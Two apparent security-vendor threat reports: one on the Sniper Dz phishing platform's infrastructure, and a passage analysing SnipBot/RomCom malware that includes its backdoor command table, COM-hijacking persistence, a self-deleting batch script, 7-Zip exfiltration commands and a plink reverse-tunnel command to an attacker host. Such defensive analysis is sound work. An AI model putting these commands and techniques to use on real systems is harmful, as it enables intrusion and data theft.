Investigating Infrastructure and Tactics of Phishing-as-a-Service Platform Sniper Dz

Executive Summary

We have been monitoring a widely popular phishing-as-a-service (PhaaS) platform named Sniper Dz that primarily targets popular social media platforms and online services. A large number of phishers could be using this platform to launch phishing attacks, since the group behind this kit has thousands of subscribers on its Telegram channel. Our research revealed over 140,000 phishing websites associated with the Sniper Dz PhaaS platform over the past year.

For prospective phishers, Sniper Dz offers an online admin panel with a catalog of phishing pages. Phishers can either host these phishing pages on Sniper Dz-owned infrastructure or download Sniper Dz phishing templates to host on their own servers. Surprisingly, Sniper Dz PhaaS offers these services free of charge to phishers – perhaps because Sniper Dz also collects victim credentials stolen by phishers who use the platform to compensate for the cost of service.

Sniper Dz uses a unique approach of hiding phishing content behind a public proxy server to launch live phishing attacks. The criminals behind this platform auto-setup the proxy server to load phishing content that is hosted on their server. We believe this approach could be useful in protecting their infrastructure from detection.

Criminals using Sniper Dz often abuse legitimate software-as-a-service (SaaS) platforms to host phishing websites. When establishing their infrastructure, these phishers include popular brand names, trends and even sensitive topics as keywords to lure victims into opening and using their phishing pages. After stealing credentials from a victim, this infrastructure can redirect the victim to malicious advertisements including distribution of potentially unwanted applications or programs (PUA or PUP) like rogue browser installers.

Palo Alto Networks customers are better protected from the threats discussed in this article through our Next-Generation Firewall's Advanced URL Filtering and Advanced DNS Security subscriptions.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Phishing Kit, Business Email Compromise (BEC)

Sniper Dz PhaaS Platform

Sniper Dz is a PhaaS platform that allows prospective phishers to launch phishing attacks. Sniper Dz offers an admin panel to generate phishing pages.

Gaining access to this admin panel requires creating an account with an email address. Once users (or phishers) create an account, they can access a wide variety of phishing pages targeting popular brands.

Sniper Dz provides two different methods to launch live phishing attacks.

  1. Phishing pages hosted on Sniper Dz infrastructure
  2. Downloadable phishing templates to host on one's own infrastructure

Phishing Pages Hosted on Sniper Dz Infrastructure

Sniper Dz can host phishing pages on its own infrastructure and provide customized links pointed to those pages. Figure 1 shows the Sniper Dz admin panel page that shares temporary links pointing to live phishing pages for different brands customized for the registered user. In this way, a prospective phisher does not have to set up a web server to host phishing websites and use Sniper Dz’s infrastructure to launch phishing attacks.

Screenshot of the Sniper Dz admin panel. The Page tab is open and there is also a Links tab. The main focus is on screenshots of multiple websites with some information redacted. There are recommended links that can be copied and pasted.
Figure 1. Sniper Dz admin panel to launch phishing attacks on Sniper Dz-hosted infrastructure.

Content for these live phishing pages is hidden behind proxy servers to prevent detection, which we will explain in more detail later in this article.

Downloadable Phishing Templates

Sniper Dz also enables phishers to download phishing page templates offline as HTML files and host them on their own servers. Figure 2 shows the page to download phishing templates of numerous target brands.  Prospective phishers can simply pick a target brand, download the associated phishing page, and deploy it on their own servers.

Screenshot of Sniper Dz website interface displaying various options for template page setups, customizable buttons for data management, and different user account status panels, all depicted in a dark mode theme.
Figure 2. List of downloadable phishing template pages from the Sniper Dz site.

Is This Really a Free-of-Charge PhaaS Platform?

Surprisingly, Sniper Dz offers both phishing attack options free of charge. Normally, PhaaS platforms and phishing kit authors charge money. Setting up a live phishing attack using PhaaS platforms can cost hundreds of dollars in monthly subscription fees, as seen with the Caffeine PhaaS or the Darcula PhaaS.

Why does Sniper Dz provide PhaaS free of charge? Perhaps because Sniper Dz collects victim credentials stolen by phishers who use their platform to compensate for the cost of service.

Sniper Dz leaves a backdoor inside the phishing page for tracking and collecting stolen credentials as we describe later in this article. Providing this service for free allows Sniper Dz to register more phishers and obtain more stolen credentials. There are no free lunches.

Infrastructure and Tactics

This section highlights key infrastructure and tactics employed by Sniper Dz. We describe evasion tactics such as hiding phishing content behind public proxy servers and obfuscating phishing content. We also show how Sniper Dz uses a centralized infrastructure to collect victim credentials stolen by other phishers and to track victims.

Hiding Phishing Content Behind Public Proxy Servers

Sniper Dz abuses a legitimate public proxy server (proxymesh[.]com) to hide its phishing content. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product is flawed or malicious.

The group behind Sniper Dz configures this proxy server to automatically load phishing content from its own server without direct communications. This technique can help Sniper Dz to protect its backend servers, since the victim’s browser or a security crawler will see the proxy server as being responsible for loading the phishing payload.

Figure 3 shows how Sniper Dz uses a public proxy server to hide requests to its web server (dev-cdn370[.]pantheonsite[.]io) hosting phishing content. The entry point is a disposable decoy phishing page that attackers could distribute to victims through emails or social media platforms. When a victim opens this page, it returns a script to automatically configure the proxy server.

Flowchart explaining a phishing attack via a proxy server setup, involving a decoy page, public server, and a web server hosting phishing content. Major steps include victim opening phishing webpage, proxy server configuration, and delivery of phishing content. Logo of Palo Alto Networks and Unit 42 appear at the bottom.
Figure 3. Workflow of hiding phishing content behind a public proxy server.

Figure 4 shows part of the HTML content of a decoy phishing page that also includes this script to auto-configure the proxy server. The page includes an HTTP POST request form to proxymesh[.]com/web/index.php.

Screenshot of HTML and JavaScript code related to a form element on the 'proxymesh.com' website. The code includes functions for encoding URLs and adding event listeners to a form. Two sections are highlighted in red boxes.
Figure 4. An example of HTML code from a decoy webpage used to load phishing content from a proxy server.

This form mimics the request to load an input URL using a proxy provided by proxymesh[.]com. The JavaScript code snippet at the bottom assigns the "url" field of this form to the location of the phishing content, then it auto-submits the form to request content from the specified URL.

Eventually, the proxy server loads content from the web server hosting phishing content. As a result, the victim browser loads the phishing content through the proxy server without initiating a request to the web server hosting the phishing content. To detect such backend web servers hiding behind public proxy servers, defenders need to extract destination URLs by analyzing the scripts on the phishing pages.

To the best of our knowledge, we are the first to report this behavior of hiding backend server hosting phishing content behind public proxy servers.

Obfuscating Phishing Template Code

The contents of phishing template pages are heavily obfuscated. Figure 5 shows code from an example of a phishing page with obfuscated JavaScript to render the HTML script.

Screenshot of computer code written in JavaScript displayed in a text editor, with various functions and strings visible. At the bottom, two sections are highlighted within red boxes.
Figure 5. Obfuscated JavaScript snippets of a phishing page.

For example, it uses String.fromCharCode and unescape functions that we find attackers commonly use for obfuscating content. This obfuscation allows it to hide HTML code and critical infrastructure endpoints like the exfiltration URL.

Centralized Infrastructure to Exfiltrate Credentials

These phishing pages exfiltrate credentials to a centralized infrastructure that Sniper Dz owns. Figure 6 shows a Google Chrome debugger console view of the exfiltration URL raviral[.]com/k_fac.php where email and password are exfiltrated in parameters email and pass.

Screenshot of response headers, request headers, and form data for a Netflix login page, highlighting the fields for email and password.
Figure 6. Stolen credentials are exfiltrated to the endpoint raviral[.]com/k_fac.php that Sniper Dz controls.
By exfiltrating credentials to a centralized infrastructure it owns, Sniper Dz can harvest credentials from all of its clients' victims, including those who fell prey to its phishing templates hosted on other servers.

For phishers, stolen credentials of victims are displayed on the admin panel as shown in Figure 7. The admin panel shows the following information from the time the credentials were exfiltrated:

  • Username
  • Password
  • Template name
  • Date and time
  • Victim's IP address and country
A screenshot showing a web browser interface for "sniperdz.com" titled 'VICTIMS'. The screen displays a table with columns such as Id, Scama name, User name and more. Two entries are visible from the United States, and the interface includes navigation buttons and functionality for searching, downloading, and removing entries. There are more options and tools in the left sidebar.
Figure 7. Admin panel showing stolen credentials of victim along with additional information such as victim’s IP address, country and time.

Tracking Victims and Phishing Templates

Sniper Dz tracks its victims by embedding custom JavaScript and analytics services. Figure 8 shows a custom tracking script for raviral[.]com/host_style/style/js-track/track.js included on a phishing page.

A screenshot displaying a segment of HTML code with references to Netflix and other generic script elements. The last line has a section highlighted by a red box.
Figure 8. Example of a script included on a phishing page to track victims.

This script in turn loads a tracker from a legitimate analytics service. We surmise that these scripts allow Sniper Dz to track victims that visit both PhaaS links hosted on Sniper Dz infrastructure as well as offline phishing templates hosted by phishers on their own infrastructure.

Phishing Attacks Using Sniper Dz

Since last year, we have discovered over 140,000 phishing webpages associated with the Sniper Dz PhaaS platform. Figure 9 shows the discovery of these websites since July 2023.

Line graph displaying fluctuations in the number of URLs. The y-axis is on a logarithmic scale from 1 to 10,000, and the x-axis shows dates from July 1, 2023, to July 1, 2024. Logo of Palo Alto Networks and Unit 42.
Figure 9. Discovery of live phishing pages authored by Sniper Dz in the past year.

Sniper Dz has remained active throughout this period. While its activity peaked in late 2023, we observed a surge in their activity starting in July 2024. Geographically, these phishing websites primarily target web users in the US.

Sniper Dz could have thousands of phishers as customers who are using its PhaaS platform to launch these phishing attacks. For example, Sniper Dz operates a Telegram channel t[.]me/JokerDzV2 for customer support that had 7,156 subscribers in August 2024 as shown in Figure 10.

Promotional image for Telegram channel "Sniper Dz" which features a logo with a stylized sniper image and the text "sniperdz.com". The channel has 7 followers. There is a "View in Telegram" button and a "Download" button at the top.
Figure 10. Telegram channel t[.]me/JokerDzV2 for Sniper Dz.
In fact, one of the tutorial videos on this Telegram channel at

  • t[.]me/JokerDzV2/19

had 72,600 views in August 2024 as shown in Figure 10. A large number of Telegram channel subscribers and video views indicate that a substantial number of prospective phishers could be using the Sniper Dz PhaaS platform.

Social media post from "Sniper Dz" displaying an error message saying "Media is too big" with a button labeled "VIEW IN TELEGRAM". Includes a link to Telegram, a view count, and a timestamp indicating November 10, 2020, at 02:29.
Figure 11. Tutorial video to launch phishing attacks using Sniper Dz.

Abusing Legitimate SaaS Platforms to Launch Phishing Attacks

Most of the Sniper Dz phishing pages we have detected are hosted on legitimate SaaS platforms. Attackers commonly target legitimate SaaS platforms because the good reputation of legitimate domains can help threat actors evade detection from security crawlers. Blogspot was the most popular target among legitimate SaaS platforms.

Blogspot appears to be more popular because the Sniper Dz admin panel offers an easy way to convert phishing templates to the Blogger format as shown below in Figure 12. Sniper Dz also provides a tutorial guide to enter converted phishing pages into Blogger for hosting on Blogspot.

Screenshot of a software application menu, labeled "SNIPERDZ" at the top. The menu includes icons and text for various options including Home, Victims, Scams, Change Password, Scam Encrypter, Convert To Blogger, and Tutorials. The Convert To Blogger option is highlighted with an XML tag indicating its format, and some options have additional labels like 'Offline', 'Beta', and 'Pro'.
Figure 12. Sniper Dz admin panel offers a feature to convert a phishing page into a Blogger template.

Using Brand Names or Trends/Events as Keywords in Hostnames

Sniper Dz authored phishing pages use keywords in hostnames that match popular brand names and trends or events, including sensitive political events. These deceptive hostnames can lure victims to these phishing pages and fall prey to phishing attacks.

Malicious Redirects and PUP Distribution

Sniper Dz phishing pages can redirect users to other Sniper Dz owned websites like raviral[.]com after a victim is fooled into giving away login credentials. Attackers proliferate the raviral[.]com website with malicious advertisements and distribute PUA/PUP-like, suspiciously labeled ad blockers and other browser extensions.

During one of our test runs, the website triggered download of an installer for a rogue browser named Artificus as shown in Figure 13. Artificus is known for its intrusive behavior and we have also reported on it for being distributed by malicious advertisers.

Download instructions for Artifactus software displayed on a webpage. Two options are shown: "Download Now" to start the download and "Run the Setup" for installation instructions.
Figure 13. Webpage distributing a rogue browser named Artificus.

Conclusion

This article provides an in-depth investigation of an online PhaaS platform named Sniper Dz. Our study finds that a large number of phishers could be using this platform. We have discovered 140,000 phishing websites in the past year that we can attribute to this PhaaS.

We describe a unique technique employed by Sniper Dz to hide backend servers hosting phishing content behind public proxy servers. This technique allows Sniper Dz to protect its hosting infrastructure from security crawlers. Sniper Dz also uses more commonly known techniques to evade detections such as obfuscating phishing content and abusing legitimate SaaS platforms to host phishing pages.

We also found that Sniper Dz phishing pages exfiltrate victim credentials and track them through a centralized infrastructure. This could be helping Sniper Dz collect victim credentials stolen by phishers who use their PhaaS platform.

We hope this blog helps our readers to stay protected from the harmful effects of this phishing campaign. Palo Alto Networks customers are better protected from the threats discussed in this article through our Next-Generation Firewall's Advanced URL Filtering and Advanced DNS Security subscriptions.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Acknowledgments

We’d like to thank the entire Unit 42 team for supporting us with this post. Special thanks to Bradley Duncan, Lysa Myers and Adnan Ahmed for their invaluable input on this blog.

Indicators of Compromise

Sniper Dz PhaaS Platform:

  • Sniperdz[.]com

Physical location of phishing webpages concealed using proxy servers:

  • dev-cdn370.pantheonsite.io

Centralized exfiltration endpoint:

  • raviral[.]com/k_fac.php

Embedded tracker script:

  • raviral[.]com/host_style/style/js-track/track.js

Telegram support channel:

  • t[.]me/JokerDzV2

Sniper Dz platform tutorial video:

  • t[.]me/JokerDzV2/19

Redirection to Sniper Dz-owned websites:

  • raviral[.]com

Examples of phishing websites generated using Sniper Dz:

  • 6627c220b5daa507c6cca1c5--votedme[.]netlify.app
  • automaticgiveaway[.]000webhostapp[.]com
  • Climbing-green-botany[.]glitch[.]me
  • facebookbusiness0078[.]blogspot.be
  • free-fire-reward-garena-bd-nepazl[.]epizy[.]com
  • freefirefff[.]github[.]io
  • ff-rewards-redeem-codes-org[.]github.io
  • instagram-cutequeen57[.]netlify.app
  • pubg-tournament-official[.]github.io/free-fire-reedeem-code
  • v0tingsystem[.]github[.]io

Examples of Sniper Dz Live phishing pages hosted on their own infrastructure:

  • pro[.]riccardomalisano[.]com/about/z1to.html?u=ff-insta/?i=[Redacted_For_Anonymity]
  • pro[.]riccardomalisano[.]com/about/z2to.html?u=ff-reward/?i=[Redacted_For_Anonymity]
  • pro[.]riccardomalisano[.]com/about/z2to.html?u=ff-spiner/?i=[Redacted_For_Anonymity]
  • pro[.]riccardomalisano[.]com/about/z1to.html?u=eb-log/?i=[Redacted_For_Anonymity]
  • pro[.]riccardomalisano[.]com/about/z1to.html?u=s-mobi/?i=[Redacted_For_Anonymity]

Legitimate public proxy service abused to hide phishing content:

  • proxymesh[.]com

Inside SnipBot: The Latest RomCom Malware Variant

Executive Summary

We recently discovered a novel version of the RomCom malware family called SnipBot and, for the first time, show post-infection activity from the attacker on a victim system. This new strain makes use of new tricks and unique code obfuscation methods in addition to those seen in previous versions of RomCom 3.0 and PEAPOD (RomCom 4.0).

In early April, our sandbox Advanced WildFire discovered an unusual DLL module that turned out to be part of a broader tool set called SnipBot. By examining the malware sample and using Cortex XDR telemetry data, we were able to reconstruct the infection chain and the attacker's subsequent actions.

We also discovered more related malware strains dating back to December 2023. Although the aim of the attacker is unknown, the behavior we observed indicates an attempt to pivot through the victim's network and exfiltrate certain files.

SnipBot gives the attacker the ability to execute commands and download additional modules onto a victim's system. It is a new version of the RomCom malware that is mainly based on RomCom 3.0. However, it also contains techniques seen in its offshoot PEAPOD called RomCom 4.0 by Trend Micro. Therefore, we’ve assigned it version 5.0.

This threat operates in several stages, with the initial downloader always being an executable, followed by further EXEs or DLLs. The downloader we observed was consistently signed with a valid code signing certificate that the threat actor likely obtained either through certificate theft or fraud to purchase a new certificate, while subsequent modules were unsigned.

In collaboration with Sophos, which initially found this new RomCom version in February during an incident, we investigated the malware's capabilities and gathered some knowledge about the attackers' activity on a victim’s system.

Palo Alto Networks customers are better protected from the SnipBot malware through products like Cortex and Advanced WildFire, with its different memory analysis features. Advanced WildFire classifies the SnipBot malware samples in this article as malicious. Advanced URL Filtering and Advanced DNS Security classify known URLs and domains associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Backdoors, RomCom

Malware Background

RomCom RAT is a malware family that has evolved over the years to include different features and attack methods. The threat actor using RomCom has been active since at least 2022. They engage in ransomware, extortion and targeted credential gathering, likely to support intelligence-gathering operations. RomCom has made multiple advancements, leading to its newest iteration called SnipBot, which employs new commands and evasion techniques.

The SnipBot variant of RomCom leverages a basic set of features that allows the attacker to run commands on a victim's system and download additional modules. The initial payload is always either an executable downloader masked as a PDF file or an actual PDF file sent to the victim in an email that leads to an executable.

The earliest initial sample of SnipBot we found was a PDF file that shows distorted text that states a font is missing that’s needed to show it correctly. If the victim clicks on the contained link that’s purported to download and install the font package, they will instead download the SnipBot downloader.

SnipBot consists of several stages where the initial downloader is always an executable file and the remaining payloads are either EXEs or DLLs. The downloader is always signed with a legitimate and valid code signing certificate. We don’t know how the threat actors obtain these certificates, but it’s likely they steal them or gain them by fraud. Subsequent modules were not signed.

Email Infection Vector

By reviewing Cortex XDR telemetry data and reverse engineering the initial sample, we were able to recreate the whole infection chain. The initial infection vector in our case was an email that contained a link that redirects twice to the SnipBot downloader.

Figure 1 shows the chain of URLs from the initial one contained in the email to the final SnipBot downloader file link. The attacker registered the domains fastshare[.]click and docstorage[.]link. The website temp[.]sh is a legitimate file sharing service with a set hosting period of three days.

Illustration showing a sequence of URL redirects controlled by an attacker, starting from a link in an email, moving through multiple domains, and ending with a potentially malicious file download.
Figure 1. URL chain from the email to the downloader (icon sources).

We discovered another chain of links that was likely used by the same attacker to deliver a similar SnipBot downloader variant. The distinct initial domain and the similar downloader file name imply this was part of a campaign targeting multiple victims.

Figure 2 shows another chain of URLs used in another attack. The attacker created the domain publicshare[.]link; it is not a legitimate file sharing service.

Diagram showing the redirection of an email link through attacker-controlled domains. The email contains a link to "publicshare.link," which redirects to "dvr.docstorage.link," and finally redirects to "temp.sh/Attachment_Medical." There are question mark symbols and chain link icons indicating the uncertain security and connection between the domains.
Figure 2. Different URL chain from the email to the downloader (icon sources).

SnipBot Malware

Figure 3 shows the infection chain of the different SnipBot stages. The initial downloader Attachment_Medical report.exe is a 64-bit Windows executable (SHA256: 57e59b156a3ff2a3333075baef684f49c63069d296b3b036ced9ed781fd42312) disguised as a PDF file. It is signed with a presumably stolen or spoofed certificate from CC Byg og Udlejning ApS, which is a company located in Denmark.

 

Flowchart depicting a cybersecurity attack involving multiple entities, including email with an attachment, a website, PDF files, various executable files, and registry processes. The diagram illustrates the sequence of events in the attack through arrows connecting these elements.
Figure 3. SnipBot execution flow from the initial EXE downloader to the main bot file single.dll (icon sources).

This downloader uses two simple yet effective anti-sandbox tricks. The first one checks for the original file name by comparing the hashed process name against a hard-coded value. The second one checks whether there are at least 100 entries in the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs registry key, which is usually the case on a regular user’s system but less likely to be the case in a sandbox system.

Image titled 'Anti-Sandbox Techniques' listing two methods: 1) Check for original file/process name, 2) Check if at least 100 values exist in the RecentDocs in Explorer.

Figure 4 shows the RecentDocs registry key of a typical Windows system with more than 100 values present.

Screenshot of Registry Editor on a Microsoft Windows computer showing various keys and their data types under the 'Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs' directory.
Figure 4. RecentDocs registry key of a typical Windows system.

The downloader is also obfuscated with a window message-based control-flow obfuscation algorithm. The malware code is split up into multiple unordered blocks that are triggered by custom window messages.

To accomplish this, a window is created that has a callback message that contains these code blocks. The window message queue is used to call each block in its original order.

The first message block is triggered by sending the initial message and then each block sends the next message when it’s done. Additionally, each block can also send nested messages, which makes it even more challenging to follow the execution flow.

Anti-Emulation Technique. The malware uses a window message based control, flow, obfuscation method, where the code is divided into unordered blocks, and their execution is triggered on custom window messages.

Most of the strings, such as the command and control (C2) domain name and all the names of dynamically resolved API functions, are encrypted. The threat actor likely did this to prevent easy static detection, thus making malware analysis more time-consuming.

Upon execution, the downloader contacts the first C2 domain xeontime[.]com and tries to get a PDF file and the first payload. We couldn’t recover the original downloaded first payload, but for an unknown reason, the attacker later downloaded the same payload with different configuration data and started it manually. We were able to obtain this file and could continue our analysis.

The threat downloads the PDF to the local user’s temporary folder with a random name before opening it. The first payload is a DLL file (internally named config-pdf.dll) that the threat executes in memory. It has an exported function named GetStore that contains its malicious code.

This DLL file’s purpose is to download the next stage COM DLL named keyprov.dll from the second C2 drvmcprotect[.]com and inject it into Explorer. For this, it uses COM hijacking to register the file as the thumbnail cache library in the registry hive of the current user.

When restarting explorer.exe, the DLL gets loaded into its address space and executed. While this is a reliable method of loading a payload into Explorer, forcing it to terminate can result in a crash, as it did on the victim's machine.

Explorer Injection via COM Hijacking. This involves the malware creating a Windows registry key to interfere with Explorer.exe's behavior, accompanied by Command Prompt commands related to the process.

Figure 5 illustrates how the registered COM DLL keyprov.dll loads into explorer.exe after restarting.

Screenshot showing multiple open windows on a desktop related to computer file management and system monitoring. Visible applications include Task Manager, File Explorer with a file named 'keylogger.exe', and a properties window for system32 directory. Arrows are used to highlight specific items and processes in the applications.
Figure 5. Explorer Injection via COM hijacking as shown with Process Hacker 2.

To download the COM DLL from the C2 server, config-pdf.dll sends the command get_update_manager2. Additionally, the first payload gets a second encrypted DLL by sending the command get_update_inet2.

This payload (internally named single.dll) gets stored in the registry in the key HKCU\SOFTWARE\AppDataSoft\Software as a binary value named trem1. At last, in the same registry key, the threat creates another binary value named trem3 that contains the string UPDE1. The threat likely uses this value to keep track of the number of updates for the registry payloads.

After keyprov.dll gets loaded into Explorer, it tries to imitate a real COM provider. It is able to do so as it’s an ordinary DLL with the needed export functions DllGetClassObject and DllCanUnloadNow. To do so, the code in keyprov.dll’s DllGetClassObject function acts as a forwarder to the same named function in shdocvw.dll, which is a legit COM DLL also loaded in explorer.exe.

The code in DllMain contains the two key tasks of the DLL. These tasks are to decrypt and execute the encrypted payload in the registry and to create a network listener for incoming commands.

The threat’s first task is to decrypt and execute two DLL payloads from the registry values trem1 and trem2. In our case, only the payload stored in trem1 got downloaded from the C2 server.

The second task is to listen on port 1342 for the following incoming string commands sent over TCP. Table 1 shows the commands implemented in keyprov.dll related to the bot’s operation.

Command Description
delete bot Delete the following registry keys:

HKCU\SOFTWARE\AppDataSoft\Software

HKCU\SOFTWARE\AppDataSoft

HKCU\SOFTWARE\Classes\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}\InprocServer32

HKCU\SOFTWARE\Classes\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}

Create a BAT file %LOCALAPPDATA%\temp.cmd with content:

:rep\r\ntimeout 5\r\nrmdir /Q /S %1\r\nif not errorlevel 0 goto rep\r\ndel /q %0\r\n

Create the following string to run the batch file via CreateProcess:

C:\Users\<username>\AppData\Local\temp.cmd C:\Users\<username>\AppData\Local\KeyStore 

Restart the Explorer to unload any payloads:

cmd /C taskkill /f /im explorer.exe && start explorer.exe 

update bot work Decrypt and execute the payload stored in the trem2 value
start bot file Decrypt and execute the payload stored in the trem2 value

Table 1. Commands for keyprov.dll’s network listener.

The main SnipBot file single.dll is a backdoor that gives the attacker multiple options to execute commands or download and run additional payloads. All strings are encrypted, with each having its own decryption key.

The file created a mutex named SnipMutex, from which the malware’s name is derived. For the initial C2 contact, the threat sends a string that is made from the following information collected from the victim’s system:

  • Computer/domain name
  • MAC address
  • Windows build number
  • Whether the machine is a Windows server

Table 2 shows 27 commands in SnipBot’s main module single.dll.

Command Description
0x1 Get the total and free bytes of all available drives (RAM disk, CD-ROM, network, fixed/removable media, unknown) and send the information to the C2 server
0x2 Get the file and directory structure of an attacker-provided directory path and send the result to the C2 server
0x3
  • Run an attacker-provided command-line command with a hidden cmd.exe process and then terminate cmd.exe
  • Send the command-line output to the C2 server
0x4 Upload the file content of an attacker-provided file path to the C2 server
0x5
  • Download the file temp-log from the C2 server to disk:

%LOCALAPPDATA%\temp-log

  • Return the string completed to the C2 when successful
0xC
  • Execute SnippingTool.dll via rundll32.exe and the argument single:

rundll32.exe %LOCALAPPDATA%\KeyStore\SnippingTool.dll,Main single

  • Send SnippingTool.zip to the C2 server, which is presumably the output of SnippingTool.dll, and then delete the file:

%LOCALAPPDATA%\KeyStore\SnippingTool.zip

0xD
  • Execute SnippingTool.dll via rundll32.exe and an attacker-provided argument:

rundll32.exe %LOCALAPPDATA%\KeyStore\SnippingTool.dll,Main <AttackerProvidedArg>

  • Return the string completed to the C2 when successful
0xE
  • Rename SnippingTool.zip to SnippingTool_s.zip:

%LOCALAPPDATA%\KeyStore\SnippingTool.zip

→ %LOCALAPPDATA%\KeyStore\SnippingTool_s.zip

  • Send SnippingTool_s.zip to the C2 server and delete the file:

%LOCALAPPDATA%\KeyStore\SnippingTool_s.zip

0xF Send a list of running processes (file names) and their IDs to the C2 server
0x11
  • Delete the bot by sending delete bot string command to the keyprov.dll network listener
  • Return the string completed to the C2 when successful
0x12
  • Download an additional payload SnippingTool.dll from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\SnippingTool.dll

  • Return the string completed to the C2 when successful
0x13
  • Create the directory DataCache:

\%LOCALAPPDATA%\DataCache

  • Download additional payload FontCache.dll from the C2 server to disk:

%LOCALAPPDATA%\DataCache\FontCache.dll

  • Execute the payload FontCache.dll via rundll32.exe:

rundll32.exe %LOCALAPPDATA%\DataCache\FontCache.dll,Main

  • Return the string completed to the C2 when successful
0x14
  • Download the file ms-win-tmp.zip from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\ms-win-tmp.zip

  • Unpack ms-win-tmp.zip with a built-in unpacker to %LOCALAPPDATA%\KeyStore
  • Return the string completed to the C2 when successful
  • Delete the file ms-win-tmp.zip:

%LOCALAPPDATA%\KeyStore\ms-win-tmp.zip

0x15
  • Create a hidden cmd.exe process to set up a SOCKS proxy with socks5.exe and the following commands:

cd /d %LOCALAPPDATA%\KeyStore\

socks5.exe 54321

  • Create another hidden cmd.exe process to set up an SSH tunnel via plink.exe:

%LOCALAPPDATA%\Keystore\plink.exe -ssh -pw <AttackerProvidedPassword> -R <AttackerProvidedPort>:127.0.0.1:54321 john@<AttackerProvidedAddress> -P <AttackerProvidedRemotePort>

  • Return the following string to the C2 server:

started on - <AttackerProvidedAddress>:<AttackerProvidedRemotePort> <AttackerProvidedPassword>

0x16
  • Terminate the processes socks5.exe and plink.exe
  • Delete the files ms-proxy.exe and svcnet.exe:

%LOCALAPPDATA%\KeyStore\ms-proxy.exe

%LOCALAPPDATA%\KeyStore\svcnet.exe

  • Return the string completed to the C2 when successful
0x18 Upload all files from the %LOCALAPPDATA%\Datacache\ directory to the C2 server and delete them afterwards.
0x1A Create a hidden cmd.exe process and wait for incoming 0x1B commands
0x1B Run an attacker-provided command to the already running hidden cmd.exe process and send the output to the C2 server
0x1C
  • Terminate the process into which single.dll was loaded (explorer.exe or rundll32.exe)
  • Return the string completed to the C2 when successful
0x20 Upload all files with the extensions TXT, RTF, XLS, XLSX, ODS, CMD, PDF, VBS, PS1, ONE, KDB, KDBX, DOC, DOCS, ODT, EML, MSG and EMAIL from the following directories to the C2 server:

  • %\USERPROFILE%\Downloads
  • %USERPROFILE%\Desktop
  • %USERPROFILE%\Documents
0x26
  • Download an additional payload paper.exe from the C2 server to disk and execute it:

%PUBLIC%\Libraries\paper.exe

  • Run 7-Zip to create an archive of tempFolder, which is presumably the output produced by paper.exe:

%PUBLIC%\Libraries\7za.exe a -tzip
%PUBLIC%\Libraries\archi.zip -w
%PUBLIC%\Libraries\tempFolder

  • Return the string completed to the C2 when successful
0x29
  • Run 7-Zip to create an archive of tempFolder (if archi.zip not present), presumably, the output produced by the payload paper.exe:

%PUBLIC%\Libraries\7za.exe a -tzip
%PUBLIC%\Libraries\archi.zip -w
%PUBLIC%\Libraries\tempFolder

  • Send the result (archi.zip) to the C2 server and delete the files:

%PUBLIC%\Libraries\7za.exe

%PUBLIC%\Libraries\archi.zip

%PUBLIC%\Libraries\paper.exe

0x2A
  • Download 7-Zip from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\7za.exe

  • Return the string completed to the C2 when successful
0x2B
  • Run 7-Zip to create an archive of the attacker-provided path:

%LOCALAPPDATA%\KeyStore\7za.exe a -tzip %LOCALAPPDATA%\KeyStore\archiveSSL.zip -w 

<C2ProvidedPath>

  • Send the result (archiveSSL.zip) to the C2 server and delete the files:

%PUBLIC%\Libraries\7za.exe

%PUBLIC%\Libraries\archiveSSL.zip

0x2C
  • Traverse all processes including system ones, search for one containing the module SnippingTool.dll and terminate it
  • Return the string completed to the C2 when successful
  • Delete the payload SnippingTool.dll:

%LOCALAPPDATA%\KeyStore\SnippingTool.dll

0x2D
  • Download additional payload InfoWind.dll from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\InfoWind.dll

  • Return the string completed to the C2 when successful
0x2E
  • Execute the payload InfoWind.dll via rundll32.exe:

rundll32.exe %LOCALAPPDATA%\KeyStore\InfoWind.dll,stw

  • Send tempol.zip to the C2 server, which is presumably the output of InfoWind.dll and delete the files:

%LOCALAPPDATA%\KeyStore\7za.exe

%LOCALAPPDATA%\KeyStore\tempol.zip

Table 2. Supported commands of SnipBot’s main module single.dll.

The main module provides the operator with command-line, uploading and downloading capabilities on a victim’s system. It also allows an attacker to download and execute the following additional payloads from the attacker’s server:

  • SnippingTool.dll
  • FontCache.dll
  • InfoWind.dll
  • paper.exe
  • socks5.exe
  • ms-proxy.exe
  • svcnet.exe
  • plink.exe

While these file names imply what the payloads might do, we can only speculate about their purposes. We haven’t seen any of these files dropped on a victim’s system during our investigation.

When someone sends a command that the threat does not support, it sends the string command: <CmdNumber> does not exist back to the C2 server.

Newer Downloader Versions

While conducting analysis for this post, we monitored VirusTotal for any newly submitted downloader samples. We found five newer versions that are almost identical in function, but they differ in their implementation. All samples were hosted on temp[.]sh, which seems to be a preferred file sharing service of the attacker.

The newest version differs in the set of dynamically resolved API functions compared to the downloader from our case. Also, the window message-based obfuscation code was removed.

The newest sample of this version we found was named Attachment_CV_June2024.exe (SHA256: 5390ba094cf556f9d7bbb00f90c9ca9e04044847c3293d6e468cb0aaeb688129) and it connected to the C2 domain linedrv[.]com to download the decoy PDF and next stage payload.

We found a slightly older sample named atch_Medical_Report_Scan05202024.exe (SHA256: 0be3116a3edc063283f3693591c388eec67801cdd140a90c4270679e01677501), that had the same signer and the C2 domain drv2ms[.]com.

